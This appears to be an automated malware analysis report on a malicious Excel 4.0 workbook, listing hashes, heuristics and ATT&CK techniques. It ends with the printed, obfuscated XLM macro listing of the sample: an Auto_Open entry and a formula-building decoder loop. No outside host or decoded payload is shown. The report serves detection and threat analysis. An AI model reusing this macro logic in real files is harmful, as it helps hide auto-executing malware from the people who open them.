Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 723f8331d4b74c2d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:41:46 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: d3a08719cb1953ed9cc40a63aaa9dfab SHA-1: 9484685fb65e4e651c22fc2b6e8de621a028c7de SHA-256: 723f8331d4b74c2d45a3408db0e3e5152855f4a6372667e3f3e330c2c30bf86e
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open defined name, which is a known technique for executing malicious code upon opening the document. The `RUN` function is also present, suggesting the macro attempts to execute a command. The obfuscated document body and lack of clear script content prevent further analysis of the payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6527 bytes
SHA-256: edee48d1f60efaf74dc25aea5b51fcdb6ff50faf1009a47b3551f562fa5ccf78
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  StjwudyO
' 0018     22 LABEL : Cell Value, String Constant - aRqEfzn len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B175 
' 0018     20 LABEL : Cell Value, String Constant - bZTQr len=0 
' 0018     22 LABEL : Cell Value, String Constant - dWoqWPu len=0 
' 0018     20 LABEL : Cell Value, String Constant - EDovT len=0 
' 0018     25 LABEL : Cell Value, String Constant - fASvYgMgiJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - jVyhiizt len=0 
' 0018     20 LABEL : Cell Value, String Constant - Kparw len=0 
' 0018     27 LABEL : Cell Value, String Constant - KtwXFOKMffmz len=0 
' 0018     26 LABEL : Cell Value, String Constant - OLgOQiQgfhx len=0 
' 0018     25 LABEL : Cell Value, String Constant - PRfmpNjOFH len=0 
' 0018     25 LABEL : Cell Value, String Constant - QEqIKQRCZo len=0 
' 0018     21 LABEL : Cell Value, String Constant - qXCkWd len=0 
' 0018     27 LABEL : Cell Value, String Constant - sSYWUNOZYRkG len=0 
' 0018     21 LABEL : Cell Value, String Constant - vfGtVQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - vkTvmcn len=0 
' 0018     21 LABEL : Cell Value, String Constant - VXDAQO len=0 
' 0018     27 LABEL : Cell Value, String Constant - wWwlTwttbErk len=0 
' 0018     26 LABEL : Cell Value, String Constant - yUqZFCEoxyY len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZpGQQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZZsJZ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  StjwudyO,B84,"SET.NAME("fASvYgMgiJ",VALUE("0"))",""
'  StjwudyO,B88,"SET.NAME("wWwlTwttbErk",fASvYgMgiJ)",""
'  StjwudyO,B90,"SET.NAME("OLgOQiQgfhx",fASvYgMgiJ)",""
'  StjwudyO,B93,"SET.NAME("jVyhiizt",COUNTA(dWoqWPu))",""
'  StjwudyO,B95,"SET.NAME("ZZsJZ",COUNTA(VXDAQO))",""
'  StjwudyO,B100,[],""
'  StjwudyO,B105,"SET.NAME("QEqIKQRCZo","")",""
'  StjwudyO,B110,"wWwlTwttbErk",""
'  StjwudyO,B113,"SET.NAME("ZpGQQ",HLOOKUP("*",dWoqWPu,wWwlTwttbErk,FALSE))",""
'  StjwudyO,B115,"vfGtVQ",""
'  StjwudyO,B118,"SET.NAME("yUqZFCEoxyY",fASvYgMgiJ)",""
'  StjwudyO,B120,[],""
'  StjwudyO,B124,"yUqZFCEoxyY",""
'  StjwudyO,B127,"vkTvmcn",""
'  StjwudyO,B130,"sSYWUNOZYRkG",""
'  StjwudyO,B133,"EDovT",""
'  StjwudyO,B138,"SET.NAME("PRfmpNjOFH",VALUE(HLOOKUP("*",VXDAQO,EDovT,FALSE)))",""
'  StjwudyO,B140,"KtwXFOKMffmz",""
'  StjwudyO,B145,"QEqIKQRCZo",""
'  StjwudyO,B150,"OLgOQiQgfhx",""
'  StjwudyO,B153,NEXT(),""
'  StjwudyO,B155,"bZTQr",""
'  StjwudyO,B159,"SET.NAME("f",INT(T(FORMULA(T(QEqIKQRCZo)&"",""&T(bZTQr)))))",""
'  StjwudyO,B164,"aRqEfzn",""
'  StjwudyO,B167,NEXT(),""
'  StjwudyO,B172,RETURN(),""
'  StjwudyO,B201,"SET.NAME("qXCkWd",B84)",""
'  StjwudyO,B203,"dWoqWPu",""
'  StjwudyO,B205,"SET.NAME("VXDAQO",R88C15)",""
'  StjwudyO,B209,"SET.NAME("aRqEfzn",219)",""
'  StjwudyO,B214,"SET.NAME("Kparw",2)",""
'  StjwudyO,B218,qXCkWd(),""
'  StjwudyO,B219,HALT(),""